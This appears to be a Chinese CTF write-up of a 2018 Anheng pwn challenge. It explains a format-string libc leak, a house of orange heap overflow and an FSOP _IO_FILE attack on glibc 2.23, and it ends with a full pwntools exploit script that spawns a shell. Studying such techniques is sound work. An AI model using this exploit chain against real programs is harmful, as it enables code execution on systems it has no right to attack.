安恒2018.10 level1思路讲解

程序功能分析

主程序是一个菜单,只有两个选项。一个是create,另一个是show。没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin。

int play()
{
  int choice; // eax
  int result; // eax

  help();
  choice = get_choice();
  if ( choice == 2 )
    return show();
  if ( choice == 3 )
    exit(0);
  if ( choice == 1 )
    result = create();
  else
    result = write(1, "Sorry,Incorrect choice!\n", 0x18uLL);
  return result;
}

create函数能malloc一个不超过0x1000的堆块,并在bss端上记录这个指针。然后用gets向这个堆块中读入内容。

__int64 create()
{
  size_t size; // [rsp+Ch] [rbp-4h]

  printf("size: ");
  LODWORD(size) = read_num();
  if ( (unsigned int)size > 0x1000 )
  {
    puts("too long");
    exit(1);
  }
  buffer = malloc((unsigned int)size);
  printf("string: ");
  return gets(buffer);                          // 不限制长度,接收到\n为止,再把\n转换为\x00
}

show函数中有格式化字符串漏洞。buffer就是我们申请堆块的指针,其中的内容我们能控制。但是由于是用gets读入的,遇到\n(0xa0)就会截断,所以不能用来做任意地址写。但是我们可以较容易地泄漏出传参寄存器和栈上的数据。

int show()
{
  printf("result: ");
  return printf(buffer);                        // 格式化字符串
}

利用思路

由于开启了PIE和ASLR,下文中的地址可能不统一,但是后三位是准确的。

泄漏libc

一个典型的house of orange。首先我们要泄漏出libc的基址。这里就用show()中的格式化字符串漏洞来泄漏出libc。
在call printf的地方下断点,可以看到rdx寄存器的值在libc上,和libc的基址呈一个固定的offset。众所周知,64位程序调用函数传参数的过程中,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中,之后的参数才会保存在栈中。
RDX 0x7f3cdb1b8780 (_IO_stdfile_1_lock) ◂— 0x0
所以这个我们可以用

printf("%2$p")
来泄漏出rdx寄存器中的值。回顾一下%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。"2$"来规定偏移。

无中生有unsorted bin

由于这个程序中没有free函数,所以我们用house of orange的技术来获得一个unsorted bin。我们通过溢出来修改top chunk的size。并申请一个大于修改过的top chunk size大小的堆块,这样top chunk就会进入unsorted bin。但是需要满足一些要求:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

0x563efe6ea000: 0x0000000000000000      0x0000000000000021
0x563efe6ea010: 0x0000000070243225      0x0000000000000000
0x563efe6ea020: 0x0000000000000000      0x0000000000000021
0x563efe6ea030: 0x0000000000000000      0x0000000000000000
0x563efe6ea040: 0x0000000000000000      0x0000000000020fc1

0x563efe6ea020是我们新申请用来溢出的chunk。为了满足top chunk的内存页0x1000对齐的要求,我们可以把top chunk size的修改为0xfc1。

完成house of orange之后,可以看到unsorted bin中多了

unsortedbin
all: 0x558e4d5dc040 —▸ 0x7fee8d8bfb78 (main_arena+88) ◂— 0x558e4d5dc040

FSOP

接下来就是利用_IO_FILE attack来get shell,这块部分我先给出代码,再根据代码来进行讲解。

 #FSOP
 payload = "e"*0x100
 fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
 fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88
 fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
 fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
 fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
 fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
 fake_file += p64(0x0)
 fake_file += p64(system_addr)
 payload += fake_file
 
 create(0x100, payload)

这里create了一个0x100的堆块,并进行了溢出。
这里我们回顾一下malloc大循环中(遍历unsorted bin)的流程。

  1. 从unsorted bin的bk指针向后遍历
  2. 拿到victim,判断victim大小,不能过大,也不过过小,否则触发malloc_printerr
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
  || __builtin_expect (chunksize_nomask (victim)
	   > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
                 chunk2mem (victim), av);

  1. 如果unsorted bin中只有一个chunk并且last_remainder也指向这个chunk,并且申请的size+0x10又小于这个chunk的大小。那就进行对这个chunk分割,更新last remainder,返回申请到的chunk 。结束。
if (in_smallbin_range (nb) &&
  bck == unsorted_chunks (av) &&
  victim == av->last_remainder &&
  (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
  1. 把victim从unsorted bin中摘下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
  1. 判断是否excat fit,如果是,就返回victim。结束。
  2. 把victim按照size大小放入对应的bins中

执行create(0x100, payload)之后我们能看到unsorted bin中的chunk结构已经被改变了。bins中显示,这个时候unsorted bin链表结构已经被破坏。

unsortedbin
all [corrupted]
FD: 0x55e8b28ee150 ◂— 0x0
BK: 0x55e8b28ee150 —▸ 0x7f1b1fbc0510 ◂— 0x0

知道了这个流程之后,我们看看接下来如果在申请一个chunk会怎么样(size不能是0x50)。假设我们申请一个0x20的chunk。

执行到步骤3进行判断,由于此时bck,已经被我们修改成_IO_list_all-0x10,所以bck == unsorted_chunks (av)不能通过。

进入4,把victim从victim从unsorted bin中摘下。注意

bck->fd = unsorted_chunks (av);

执行完之后_IO_list_all就指向了unsorted bin,也就是main_arena+88

步骤5跳过。

进入步骤6,由于我们把victim的size覆盖成了0x61,victim就会落入small bin(0x60)中。这里为什么要把victim放入0x60的bins中呢?这是因为_IO_FILE的_chain域的偏移是0x78,small bins的bk地址距离unsorted bin的偏移也是0x78。

再进入步骤1, victim = unsorted_chunks (av)->bk = bck现在是_IO_list_all-0x10的地址。

0x7f1b1fbc0510: 0x0000000000000000      0x0000000000000000
0x7f1b1fbc0520 <_IO_list_all>:  0x00007f1b1fbc0540      0x0000000000000000

进入步骤2,因为size=0,没有通过检验,执行printerr,如下图所示,触发abort,接着调用_IO_flush_all_lockp,从_IO_list_all指针开始,对每个_IO_FILE_plus结构调用flush函数,其中主要根据vtable来调用OVERFLOW。
在这里插入图片描述
因为之前的巧妙布置,_chain域的跳转就来到了我们自己布置的_IO_FILE_plus中来了。

 fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
 fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88
 fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
 fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
 fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
 fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
 fake_file += p64(0x0)
 fake_file += p64(system_addr)

这中间具体的为什么要这么步骤由于篇幅的原因就不讲了。可以参考下面两个链接,讲的很详细。
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/
这里就说一下几个要注意的地方。

  1. _IO_str_jump不能直接libc.symbols[“name”]来查询,要通过ida来找。在这里插入图片描述
  2. _IO_FILE attack 不是每次执行都能成功,一定要libc基址的低32位大于0x80000000才能执行成功。

完整exp

#coding=utf-8
from pwn import *

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

def create(size, content):
    io.recvuntil("3:exit\n")
    io.sendline("1")
    io.recvuntil("size: ") # 限制 size<=0x1000
    io.sendline(str(size))
    io.recvuntil("string: ")
    io.sendline(content)

def show():
    io.recvuntil("3:exit\n")
    io.sendline("2")
    io.recvuntil("result: ")

#leak libc by format string attack
create(0x10, "%2$p")
show()
libc_addr = int(io.recvuntil("\n")[:-1], 16) - 0x3c6780
print("libc address:" + hex(libc_addr))

system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()
_IO_list_all_addr = libc_addr + libc.symbols["_IO_list_all"]
_IO_str_jump_addr = libc_addr + 0x3C37A0

#house of orange
payload = "a"*0x18 + p64(0xfc1)
create(0x10, payload)
create(0x1000, "a")

#FSOP
payload = "e"*0x100
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
payload += fake_file

create(0x100, payload)

gdb.attach(io)

io.recvuntil("3:exit\n")
io.sendline("1")
io.recvuntil("size: ")
io.sendline("32")
#gdb.attach(io)

io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值